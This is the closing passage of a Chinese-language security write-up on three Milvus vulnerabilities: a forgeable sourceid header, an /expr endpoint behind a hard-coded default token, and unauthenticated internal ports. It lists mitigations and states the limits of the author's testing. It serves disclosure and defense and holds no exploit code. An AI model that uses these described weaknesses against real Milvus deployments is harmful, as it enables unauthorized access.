  5. 内部端口网络隔离。容器网络里不要放不可信的服务,53100 这类端口只能让可信组件访问
  6. 如果暂时不能升级,参考官方缓解:在网关层删掉所有请求里的 sourceid header(挡住第一个 CVE)

最小动作清单

总结成三句话:先升级(2.6.10+),再开认证(authorizationEnabled=true + 改 root 密码),最后把 9091 藏好(别暴露公网 + expr 默认禁用)。三个动作都做了,这篇里说的洞基本就和你无关了。

如果你暂时升不了级,至少把 root 密码改了、把 sourceid 请求在网关层过滤掉——这两个动作成本最低,能挡住第一个 CVE 的常见利用。

写在最后

回头看这三个洞,本质是同一个问题的三种形态:Milvus 信任了一些不该被外部伪造的东西。sourceid 信任内部组件标识,却没校验来源;/expr 信任一个写死在默认值里的 token;内部端口信任网络边界,却没接认证。

最后说下这篇文章验证的边界,避免误导:所有动态验证都在 standalone 模式(单机 Docker)下完成,distributed 集群模式的 /api/v1 攻击面只做了源码分析,没有实际环境验证;/expr 的表达式引擎我没挖出逃逸,所以按"任意表达式求值"的官方定性来写,如果后续有人挖出逃逸,这个洞会直接升级成 RCE,值得持续关注。

参考